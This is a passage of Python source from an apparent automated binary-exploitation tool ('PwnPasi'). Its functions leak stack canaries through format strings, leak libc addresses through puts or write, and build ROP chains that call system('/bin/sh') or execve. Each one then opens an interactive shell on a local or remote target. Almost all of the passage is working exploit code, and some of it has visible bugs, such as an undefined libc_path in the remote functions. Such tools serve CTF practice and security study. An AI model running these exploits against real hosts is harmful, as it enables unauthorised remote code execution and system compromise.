2712 | ret_addr = p64(ret_addr)
2713 | if other_rdi_registers == 1:
2714 | payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)])
2715 | else:
2716 | payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr) ,ret_addr,p64(system_addr)])
2717 | io.sendline(payload2)
2718 | io.interactive()
2719 |
2720 | def ret2libc_put_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,url,port,c,diff):
2721 | io = remote(url,port)
2722 | if libc == 1:
2723 | if libc_path == None:
2724 | print('[*]Using LibcSearcher')
2725 | else:
2726 | print('[*]User did not specify libc path')
2727 | libc = ELF(libc_path)
2728 | else:
2729 | libc = ELF(libc)
2730 | e = ELF(program)
2731 | main_addr = e.symbols['main']
2732 | puts_plt = e.symbols['puts']
2733 | puts_got = e.got['puts']
2734 |
2735 | pop_rdi_addr = int(pop_rdi_addr, 16)
2736 | pop_rdi_addr = p64(pop_rdi_addr)
2737 | io.recv()
2738 | io.sendline(f'%{c}$p'.encode())
2739 | result = io.recvline().decode().strip()
2740 | print(f"Canary value is: {result}")
2741 | result = int(result, 16)
2742 | canary = p64(result)
2743 |
2744 | payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(puts_got), p64(puts_plt) , p64(main_addr)])
2745 | io.recv()
2746 | io.sendline(payload1)
2747 |
2748 | puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
2749 | print(f'[*]puts function address in libc: \033[31m{hex(puts_addr)}\033[0m')
2750 |
2751 | if libc == 1:
2752 | libc = LibcSearcher("puts",puts_addr)
2753 | libcbase = puts_addr - libc.dump('puts')
2754 | libc_system = libc.dump('system')
2755 | libc_sh = libc.dump('str_bin_sh')
2756 | system_addr = libcbase + libc_system
2757 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
2758 | sh_addr = libcbase + libc_sh
2759 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
2760 | print('\033[31m[*]PWN!!!\033[0m')
2761 | else:
2762 | libc_puts = libc.symbols['puts']
2763 | libc_system = libc.symbols['system']
2764 | libc_sh = next(libc.search(b'/bin/sh'))
2765 | system_addr = puts_addr - libc_puts + libc_system
2766 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
2767 | sh_addr = puts_addr - libc_puts + libc_sh
2768 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
2769 | print('\033[31m[*]PWN!!!\033[0m')
2770 |
2771 | io.recv()
2772 | io.sendline(f'%{c}$p'.encode())
2773 | io.recv()
2774 | ret_addr = int(ret_addr, 16)
2775 | ret_addr = p64(ret_addr)
2776 | if other_rdi_registers == 1:
2777 | payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)])
2778 | else:
2779 | payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr) ,ret_addr,p64(system_addr)])
2780 | io.sendline(payload2)
2781 | io.interactive()
2782 |
2783 | def ret2libc_write_canary_x32(program,libc,padding,libc_path,c,diff):
2784 | io = process(program)
2785 | if libc == 1:
2786 | if libc_path == None:
2787 | print('[*]Using LibcSearcher')
2788 | else:
2789 | print('[*]User did not specify libc path')
2790 | libc = ELF(libc_path)
2791 | else:
2792 | libc = ELF(libc)
2793 | e = ELF(program)
2794 | main_addr = e.symbols['main']
2795 | write_plt = e.symbols['write']
2796 | write_got = e.got['write']
2797 |
2798 | io.recv()
2799 | io.sendline(f'%{c}$p'.encode())
2800 | result = io.recvline().decode().strip()
2801 | print(f"Canary value is: {result}")
2802 | result = int(result, 16)
2803 | canary = p32(result)
2804 |
2805 | payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(write_plt) , p32(main_addr) , p32(1) , p32(write_got) , p32(4)])
2806 | io.recv()
2807 | io.sendline(payload1)
2808 |
2809 | write_addr = u32(io.recv(4))
2810 | print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m')
2811 |
2812 | if libc == 1:
2813 | libc = LibcSearcher("write",write_addr)
2814 | libcbase = write_addr - libc.dump('write')
2815 | libc_system = libc.dump('system')
2816 | libc_sh = libc.dump('str_bin_sh')
2817 | system_addr = libcbase + libc_system
2818 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
2819 | sh_addr = libcbase + libc_sh
2820 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
2821 | print('\033[31m[*]PWN!!!\033[0m')
2822 | else:
2823 | libc_write = libc.symbols['write']
2824 | libc_system = libc.symbols['system']
2825 | libc_sh = next(libc.search(b'/bin/sh'))
2826 | system_addr = write_addr - libc_write + libc_system
2827 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
2828 | sh_addr = write_addr - libc_write + libc_sh
2829 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
2830 | print('\033[31m[*]PWN!!!\033[0m')
2831 |
2832 | io.recv()
2833 | io.sendline(f'%{c}$p'.encode())
2834 | io.recv()
2835 | payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff, p32(system_addr) , p32(0) , p32(sh_addr)])
2836 | io.recv()
2837 | io.sendline(payload2)
2838 | io.interactive()
2839 |
2840 | def ret2libc_write_canary_x64(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,c,diff):
2841 | io = process(program)
2842 | if libc == 1:
2843 | if libc_path == None:
2844 | print('[*]Using LibcSearcher')
2845 | else:
2846 | print('[*]User did not specify libc path')
2847 | libc = ELF(libc_path)
2848 | else:
2849 | libc = ELF(libc)
2850 | e = ELF(program)
2851 | main_addr = e.symbols['main']
2852 | write_plt = e.symbols['write']
2853 | write_got = e.got['write']
2854 | if other_rsi_registers == 1:
2855 | pop_rdi_addr = int(pop_rdi_addr, 16)
2856 | pop_rdi_addr = p64(pop_rdi_addr)
2857 | pop_rsi_addr = int(pop_rsi_addr, 16)
2858 | pop_rsi_addr = p64(pop_rsi_addr)
2859 |
2860 | io.recv()
2861 | io.sendline(f'%{c}$p'.encode())
2862 | result = io.recvline().decode().strip()
2863 | print(f"Canary value is: {result}")
2864 | result = int(result, 16)
2865 | canary = p64(result)
2866 |
2867 | payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff ,pop_rdi_addr , p64(1) , pop_rsi_addr , p64(write_got) , p64(0) , p64(write_plt) , p64(main_addr)])
2868 | io.recv()
2869 | io.sendline(payload1)
2870 |
2871 | elif other_rdi_registers == 1:
2872 | pop_rdi_addr = int(pop_rdi_addr, 16)
2873 | pop_rdi_addr = p64(pop_rdi_addr)
2874 | pop_rsi_addr = int(pop_rsi_addr, 16)
2875 | pop_rsi_addr = p64(pop_rsi_addr)
2876 |
2877 | io.recv()
2878 | io.sendline(f'%{c}$p'.encode())
2879 | result = io.recvline().decode().strip()
2880 | print(f"Canary value is: {result}")
2881 | result = int(result, 16)
2882 | canary = p64(result)
2883 |
2884 | payload1 = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff , pop_rdi_addr , p64(1) , p64(0), pop_rsi_addr , p64(write_got) , p64(write_plt) , p64(main_addr)])
2885 | io.recv()
2886 | io.sendline(payload1)
2887 |
2888 | elif other_rdi_registers == 0 and other_rsi_registers == 0:
2889 | pop_rdi_addr = int(pop_rdi_addr, 16)
2890 | pop_rdi_addr = p64(pop_rdi_addr)
2891 | pop_rsi_addr = int(pop_rsi_addr, 16)
2892 | pop_rsi_addr = p64(pop_rsi_addr)
2893 |
2894 | io.recv()
2895 | io.sendline(f'%{c}$p'.encode())
2896 | result = io.recvline().decode().strip()
2897 | print(f"Canary value is: {result}")
2898 | result = int(result, 16)
2899 | canary = p64(result)
2900 |
2901 | payload1 = flat([asm('nop') * padding , pop_rdi_addr , p64(1) , pop_rsi_addr , p64(write_got) , p64(write_plt) , p64(main_addr)])
2902 | io.recv()
2903 | io.sendline(payload1)
2904 |
2905 | write_addr = u64(io.recv(8))
2906 | print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m')
2907 |
2908 | if libc == 1:
2909 | libc = LibcSearcher("write",write_addr)
2910 | libcbase = write_addr - libc.dump('write')
2911 | libc_system = libc.dump('system')
2912 | libc_sh = libc.dump('str_bin_sh')
2913 | system_addr = libcbase + libc_system
2914 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
2915 | sh_addr = libcbase + libc_sh
2916 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
2917 | print('\033[31m[*]PWN!!!\033[0m')
2918 | else:
2919 | libc_write = libc.symbols['write']
2920 | libc_system = libc.symbols['system']
2921 | libc_sh = next(libc.search(b'/bin/sh'))
2922 | system_addr = write_addr - libc_write + libc_system
2923 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
2924 | sh_addr = write_addr - libc_write + libc_sh
2925 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
2926 | print('\033[31m[*]PWN!!!\033[0m')
2927 |
2928 | io.recv()
2929 | io.sendline(f'%{c}$p'.encode())
2930 |
2931 | io.recv()
2932 |
2933 | if other_rdi_registers == 1:
2934 | payload2 = flat([asm('nop') * padding ,canary , b"AAAAAAAA" * diff , pop_rdi_addr , p64(sh_addr), p64(0), p64(system_addr) , p64(0)])
2935 | else:
2936 | payload2 = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(sh_addr) ,p64(system_addr) , p64(0)])
2937 | io.recv()
2938 | io.sendline(payload2)
2939 | io.interactive()
2940 |
2941 | def ret2_system_canary_x32(program, libc, padding, libc_path, c, diff):
2942 | io = process(program)
2943 | e = ELF(program)
2944 | system_addr = e.symbols['system']
2945 | print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m')
2946 | bin_sh_addr = next(e.search(b'/bin/sh'))
2947 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
2948 | print('\033[31m[*]PWN!!!\033[0m')
2949 | io.recv()
2950 | io.sendline(f'%{c}$p'.encode())
2951 | result = io.recvline().decode().strip()
2952 | print(f"Canary value is: {result}")
2953 | result = int(result, 16)
2954 | canary = p32(result)
2955 |
2956 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, p32(system_addr), p32(0), p32(bin_sh_addr)])
2957 | io.sendline(payload)
2958 | io.interactive()
2959 |
2960 | def ret2_system_canary_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path, c, diff):
2961 | if pop_rdi_addr == None:
2962 | print("pop rdi instruction does not exist, cannot exploit")
2963 | sys.exit(0)
2964 | io = process(program)
2965 | e = ELF(program)
2966 | system_addr = e.symbols['system']
2967 | print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m')
2968 | bin_sh_addr = next(e.search(b'/bin/sh'))
2969 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
2970 | print('\033[31m[*]PWN!!!\033[0m')
2971 | io.recv()
2972 | io.sendline(f'%{c}$p'.encode())
2973 | result = io.recvline().decode().strip()
2974 | print(f"canary value is: {result}")
2975 | result = int(result, 16)
2976 | canary = p64(result)
2977 |
2978 | pop_rdi_addr = int(pop_rdi_addr, 16)
2979 | pop_rdi_addr = p64(pop_rdi_addr)
2980 | ret_addr = int(ret_addr, 16)
2981 | ret_addr = p64(ret_addr)
2982 |
2983 | if other_rdi_registers == 1:
2984 | payload = flat([asm('nop') * padding ,canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(bin_sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)])
2985 | elif other_rdi_registers == 0:
2986 | payload = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(bin_sh_addr), ret_addr,p64(system_addr)])
2987 | io.sendline(payload)
2988 | io.interactive()
2989 |
2990 | def execve_canary_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, c, diff):
2991 | if pop_ecx_addr == None:
2992 | io = process(program)
2993 | e = ELF(program)
2994 | bin_sh_addr = next(e.search(b'/bin/sh'))
2995 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
2996 | pop_eax_addr = int(pop_eax_addr, 16)
2997 | pop_eax_addr = p32(pop_eax_addr)
2998 | pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16)
2999 | pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr)
3000 | pop_edx_addr = int(pop_edx_addr, 16)
3001 | pop_edx_addr = p32(pop_edx_addr)
3002 | int_0x80 = int(int_0x80, 16)
3003 | int_0x80 = p32(int_0x80)
3004 |
3005 | io.recv()
3006 | io.sendline(f'%{c}$p'.encode())
3007 | result = io.recvline().decode().strip()
3008 | print(f"canary value is: {result}")
3009 | result = int(result, 16)
3010 | canary = p32(result)
3011 |
3012 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80])
3013 | io.recv()
3014 | io.sendline(payload)
3015 | print('\033[31m[*]PWN!!!\033[0m')
3016 | io.interactive()
3017 | else:
3018 | io = process(program)
3019 | e = ELF(program)
3020 | bin_sh_addr = next(e.search(b'/bin/sh'))
3021 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
3022 | pop_eax_addr = int(pop_eax_addr, 16)
3023 | pop_eax_addr = p32(pop_eax_addr)
3024 | pop_ecx_addr = int(pop_ecx_addr, 16)
3025 | pop_ecx_addr = p32(pop_ecx_addr)
3026 | pop_ebx_addr = int(pop_ebx_addr, 16)
3027 | pop_ebx_addr = p32(pop_ebx_addr)
3028 | pop_edx_addr = int(pop_edx_addr, 16)
3029 | pop_edx_addr = p32(pop_edx_addr)
3030 | int_0x80 = int(int_0x80, 16)
3031 | int_0x80 = p32(int_0x80)
3032 |
3033 | io.recv()
3034 | io.sendline(f'%{c}$p'.encode())
3035 | result = io.recvline().decode().strip()
3036 | print(f"canary value is: {result}")
3037 | result = int(result, 16)
3038 | canary = p32(result)
3039 |
3040 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80])
3041 | io.recv()
3042 | io.sendline(payload)
3043 | print('\033[31m[*]PWN!!!\033[0m')
3044 | io.interactive()
3045 |
3046 | def ret2libc_write_x32_canary_remote(program,libc,padding,url,port,c,diff):
3047 | io = remote(url,port)
3048 | if libc == 1:
3049 | if libc_path == None:
3050 | print('[*]Using LibcSearcher')
3051 | else:
3052 | print('[*]User did not specify libc path')
3053 | libc = ELF(libc_path)
3054 | else:
3055 | libc = ELF(libc)
3056 | e = ELF(program)
3057 | main_addr = e.symbols['main']
3058 | write_plt = e.symbols['write']
3059 | write_got = e.got['write']
3060 |
3061 | io.recv()
3062 | io.sendline(f'%{c}$p'.encode())
3063 | result = io.recvline().decode().strip()
3064 | print(f"Canary value is: {result}")
3065 | result = int(result, 16)
3066 | canary = p32(result)
3067 |
3068 | payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(write_plt) , p32(main_addr) , p32(1) , p32(write_got) , p32(4)])
3069 | io.recv()
3070 | io.sendline(payload1)
3071 |
3072 | write_addr = u32(io.recv(4))
3073 | print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m')
3074 |
3075 | if libc == 1:
3076 | libc = LibcSearcher("write",write_addr)
3077 | libcbase = write_addr - libc.dump('write')
3078 | libc_system = libc.dump('system')
3079 | libc_sh = libc.dump('str_bin_sh')
3080 | system_addr = libcbase + libc_system
3081 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
3082 | sh_addr = libcbase + libc_sh
3083 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
3084 | print('\033[31m[*]PWN!!!\033[0m')
3085 | else:
3086 | libc_write = libc.symbols['write']
3087 | libc_system = libc.symbols['system']
3088 | libc_sh = next(libc.search(b'/bin/sh'))
3089 | system_addr = write_addr - libc_write + libc_system
3090 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
3091 | sh_addr = write_addr - libc_write + libc_sh
3092 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
3093 | print('\033[31m[*]PWN!!!\033[0m')
3094 |
3095 | io.recv()
3096 | io.sendline(f'%{c}$p'.encode())
3097 |
3098 | io.recv()
3099 |
3100 | payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff, p32(system_addr) , p32(0) , p32(sh_addr)])
3101 | io.recv()
3102 | io.sendline(payload2)
3103 | io.interactive()
3104 |
3105 | def ret2libc_write_x64_canary_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port, c, diff):
3106 | io = remote(url, port)
3107 | if libc == 1:
3108 | if libc_path == None:
3109 | print('[*]Using LibcSearcher')
3110 | else:
3111 | print('[*]User did not specify libc path')
3112 | libc = ELF(libc_path)
3113 | else:
3114 | libc = ELF(libc)
3115 | e = ELF(program)
3116 | main_addr = e.symbols['main']
3117 | write_plt = e.symbols['write']
3118 | write_got = e.got['write']
3119 | if other_rsi_registers == 1:
3120 | pop_rdi_addr = int(pop_rdi_addr, 16)
3121 | pop_rdi_addr = p64(pop_rdi_addr)
3122 | pop_rsi_addr = int(pop_rsi_addr, 16)
3123 | pop_rsi_addr = p64(pop_rsi_addr)
3124 |
3125 | io.recv()
3126 | io.sendline(f'%{c}$p'.encode())
3127 | result = io.recvline().decode().strip()
3128 | print(f"Canary value is: {result}")
3129 | result = int(result, 16)
3130 | canary = p64(result)
3131 |
3132 | payload1 = flat([asm('nop') * padding, canary, b'AAAAAAAA' * diff, pop_rdi_addr, p64(1), pop_rsi_addr, p64(write_got), p64(0), p64(write_plt), p64(main_addr)])
3133 | io.recv()
3134 | io.sendline(payload1)
3135 |
3136 | elif other_rdi_registers == 1:
3137 | pop_rdi_addr = int(pop_rdi_addr, 16)
3138 | pop_rdi_addr = p64(pop_rdi_addr)
3139 | pop_rsi_addr = int(pop_rsi_addr, 16)
3140 | pop_rsi_addr = p64(pop_rsi_addr)
3141 |
3142 | io.recv()
3143 | io.sendline(f'%{c}$p'.encode())
3144 | result = io.recvline().decode().strip()
3145 | print(f"Canary value is: {result}")
3146 | result = int(result, 16)
3147 | canary = p64(result)
3148 |
3149 | payload1 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(1), p64(0), pop_rsi_addr, p64(write_got), p64(write_plt), p64(main_addr)])
3150 | io.recv()
3151 | io.sendline(payload1)
3152 |
3153 | elif other_rdi_registers == 0 and other_rsi_registers == 0:
3154 | pop_rdi_addr = int(pop_rdi_addr, 16)
3155 | pop_rdi_addr = p64(pop_rdi_addr)
3156 | pop_rsi_addr = int(pop_rsi_addr, 16)
3157 | pop_rsi_addr = p64(pop_rsi_addr)
3158 |
3159 | io.recv()
3160 | io.sendline(f'%{c}$p'.encode())
3161 | result = io.recvline().decode().strip()
3162 | print(f"Canary value is: {result}")
3163 | result = int(result, 16)
3164 | canary = p64(result)
3165 |
3166 | payload1 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(1), pop_rsi_addr, p64(write_got), p64(write_plt), p64(main_addr)])
3167 | io.recv()
3168 | io.sendline(payload1)
3169 |
3170 | write_addr = u64(io.recv(8))
3171 | print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m')
3172 |
3173 | if libc == 1:
3174 | libc = LibcSearcher("write", write_addr)
3175 | libcbase = write_addr - libc.dump('write')
3176 | libc_system = libc.dump('system')
3177 | libc_sh = libc.dump('str_bin_sh')
3178 | system_addr = libcbase + libc_system
3179 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
3180 | sh_addr = libcbase + libc_sh
3181 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
3182 | print('\033[31m[*]PWN!!!\033[0m')
3183 | else:
3184 | libc_write = libc.symbols['write']
3185 | libc_system = libc.symbols['system']
3186 | libc_sh = next(libc.search(b'/bin/sh'))
3187 | system_addr = write_addr - libc_write + libc_system
3188 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m')
3189 | sh_addr = write_addr - libc_write + libc_sh
3190 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m')
3191 | print('\033[31m[*]PWN!!!\033[0m')
3192 |
3193 | io.recv()
3194 | io.sendline(f'%{c}$p'.encode())
3195 | result = io.recvline().decode().strip()
3196 | result = int(result, 16)
3197 | canary = p64(result)
3198 |
3199 | ret_addr = int(ret_addr, 16)
3200 | ret_addr = p64(ret_addr)
3201 |
3202 | if other_rdi_registers == 1:
3203 | payload2 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)])
3204 | elif other_rdi_registers == 0:
3205 | payload2 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(sh_addr), ret_addr, p64(system_addr)])
3206 |
3207 | io.recv()
3208 | io.sendline(payload2)
3209 | io.interactive()
3210 |
3211 | def ret2_system_x32_canary_remote(program, libc, padding, url, port, c, diff):
3212 | io = remote(url, port)
3213 | e = ELF(program)
3214 | system_addr = e.symbols['system']
3215 | print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m')
3216 | bin_sh_addr = next(e.search(b'/bin/sh'))
3217 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
3218 | print('\033[31m[*]PWN!!!\033[0m')
3219 | io.recv()
3220 | io.sendline(f'%{c}$p'.encode())
3221 | result = io.recvline().decode().strip()
3222 | print(f"canary value is: {result}")
3223 | result = int(result, 16)
3224 | canary = p32(result)
3225 |
3226 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, p32(system_addr), p32(0), p32(bin_sh_addr)])
3227 | io.sendline(payload)
3228 | io.interactive()
3229 |
3230 | def ret2_system_x64_canary_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, url, port, c, diff):
3231 | if pop_rdi_addr == None:
3232 | print("pop rdi instruction does not exist, cannot exploit")
3233 | sys.exit(0)
3234 | io = remote(url, port)
3235 | e = ELF(program)
3236 | system_addr = e.symbols['system']
3237 | print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m')
3238 | bin_sh_addr = next(e.search(b'/bin/sh'))
3239 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
3240 | print('\033[31m[*]PWN!!!\033[0m')
3241 | io.recv()
3242 | io.sendline(f'%{c}$p'.encode())
3243 | result = io.recvline().decode().strip()
3244 | print(f"canary value is: {result}")
3245 | result = int(result, 16)
3246 | canary = p64(result)
3247 |
3248 | pop_rdi_addr = int(pop_rdi_addr, 16)
3249 | pop_rdi_addr = p64(pop_rdi_addr)
3250 | ret_addr = int(ret_addr, 16)
3251 | ret_addr = p64(ret_addr)
3252 |
3253 | if other_rdi_registers == 1:
3254 | payload = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)])
3255 | elif other_rdi_registers == 0:
3256 | payload = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)])
3257 | io.sendline(payload)
3258 | io.interactive()
3259 |
3260 | def execve_syscall_canary_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, url, port, c, diff):
3261 | if pop_ecx_addr == None:
3262 | io = remote(url, port)
3263 | e = ELF(program)
3264 | bin_sh_addr = next(e.search(b'/bin/sh'))
3265 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
3266 | pop_eax_addr = int(pop_eax_addr, 16)
3267 | pop_eax_addr = p32(pop_eax_addr)
3268 | pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16)
3269 | pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr)
3270 | pop_edx_addr = int(pop_edx_addr, 16)
3271 | pop_edx_addr = p32(pop_edx_addr)
3272 | int_0x80 = int(int_0x80, 16)
3273 | int_0x80 = p32(int_0x80)
3274 |
3275 | io.recv()
3276 | io.sendline(f'%{c}$p'.encode())
3277 | result = io.recvline().decode().strip()
3278 | print(f"canary value is: {result}")
3279 | result = int(result, 16)
3280 | canary = p32(result)
3281 |
3282 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80])
3283 | io.recv()
3284 | io.sendline(payload)
3285 | print('\033[31m[*]PWN!!!\033[0m')
3286 | io.interactive()
3287 | else:
3288 | io = remote(url, port)
3289 | e = ELF(program)
3290 | bin_sh_addr = next(e.search(b'/bin/sh'))
3291 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m')
3292 | pop_eax_addr = int(pop_eax_addr, 16)
3293 | pop_eax_addr = p32(pop_eax_addr)
3294 | pop_ecx_addr = int(pop_ecx_addr, 16)
3295 | pop_ecx_addr = p32(pop_ecx_addr)
3296 | pop_ebx_addr = int(pop_ebx_addr, 16)
3297 | pop_ebx_addr = p32(pop_ebx_addr)
3298 | pop_edx_addr = int(pop_edx_addr, 16)
3299 | pop_edx_addr = p32(pop_edx_addr)
3300 | int_0x80 = int(int_0x80, 16)
3301 | int_0x80 = p32(int_0x80)
3302 |
3303 | io.recv()
3304 | io.sendline(f'%{c}$p'.encode())
3305 | result = io.recvline().decode().strip()
3306 | print(f"canary value is: {result}")
3307 | result = int(result, 16)
3308 | canary = p32(result)
3309 |
3310 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80])
3311 | io.recv()
3312 | io.sendline(payload)
3313 | print('\033[31m[*]PWN!!!\033[0m')
3314 | io.interactive()
3315 |
3316 | def main():
3317 | """Main function with improved argument parsing and flow"""
3318 | print_banner()
3319 |
3320 | parser = argparse.ArgumentParser(
3321 | description="PwnPasi - Automated Binary Exploitation Framework",
3322 | formatter_class=argparse.RawDescriptionHelpFormatter,
3323 | epilog="""
3324 | Examples:
3325 | python pwnpasi.py -l ./target_binary
3326 | python pwnpasi.py -l ./target_binary -f 112
3327 | python pwnpasi.py -l ./target_binary -libc ./libc-2.19.so
3328 | python pwnpasi.py -l ./target_binary -ip 192.168.1.100 -p 9999
3329 | """
3330 | )
3331 |
3332 | parser.add_argument('-l', '--local', type=str, required=True,
3333 | help='Target binary file (required)')
3334 | parser.add_argument('-ip', '--ip', type=str,
3335 | help='Remote target IP address')
3336 | parser.add_argument('-p', '--port', type=int,
3337 | help='Remote target port')
3338 | parser.add_argument('-libc', '--libc', type=str,
3339 | help='Path to libc file')
3340 | parser.add_argument('-f', '--fill', type=int,
3341 | help='Manual overflow padding size')
3342 | parser.add_argument('-v', '--verbose', action='store_true',
3343 | help='Enable verbose output')
3344 |
3345 | args = parser.parse_args()
3346 |
3347 | # Validate arguments
3348 | if not os.path.exists(args.local):
3349 | print_error(f"target binary not found: {args.local}")
3350 | sys.exit(1)
3351 |
3352 | if (args.ip and not args.port) or (args.port and not args.ip):
3353 | print_error("both IP and port must be specified for remote exploitation")
3354 | sys.exit(1)
3355 |
3356 | # Initialize target information
3357 | program = add_current_directory_prefix(args.local)
3358 | libc_path = None
3359 | bin_sh = 0 # Initialize bin_sh variable
3360 |
3361 | # Initialize exploit_info with basic information
3362 | global exploit_info
3363 | exploit_info['target_binary'] = os.path.basename(args.local)
3364 | exploit_info['timestamp'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
3365 |
3366 | print_info(f"target binary: {Colors.YELLOW}{program}{Colors.END}")
3367 |
3368 | if args.ip and args.port:
3369 | print_info(f"remote target: {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}")
3370 | remote_mode = True
3371 | else:
3372 | print_info("local exploitation mode")
3373 | remote_mode = False
3374 |
3375 | # Set up libc
3376 | if args.libc:
3377 | if not os.path.exists(args.libc):
3378 | print_error(f"libc file not found: {args.libc}")
3379 | sys.exit(1)
3380 | libc = args.libc
3381 | print_info(f"using custom libc: {Colors.YELLOW}{libc}{Colors.END}")
3382 | else:
3383 | libc = 1
3384 | libc_path = detect_libc(program)
3385 |
3386 | print_section_header("BINARY ANALYSIS PHASE")
3387 |
3388 | # Set permissions
3389 | print_info("setting executable permissions")
3390 | if not set_permission(program):
3391 | print_warning("failed to set permissions, continuing anyway")
3392 |
3393 | # Collect binary information
3394 | print_info("collecting binary security information")
3395 | info_dict, stack_protection, rwx_segments, bit_arch, pie_enabled = collect_binary_info(program)
3396 | display_binary_info(info_dict)
3397 |
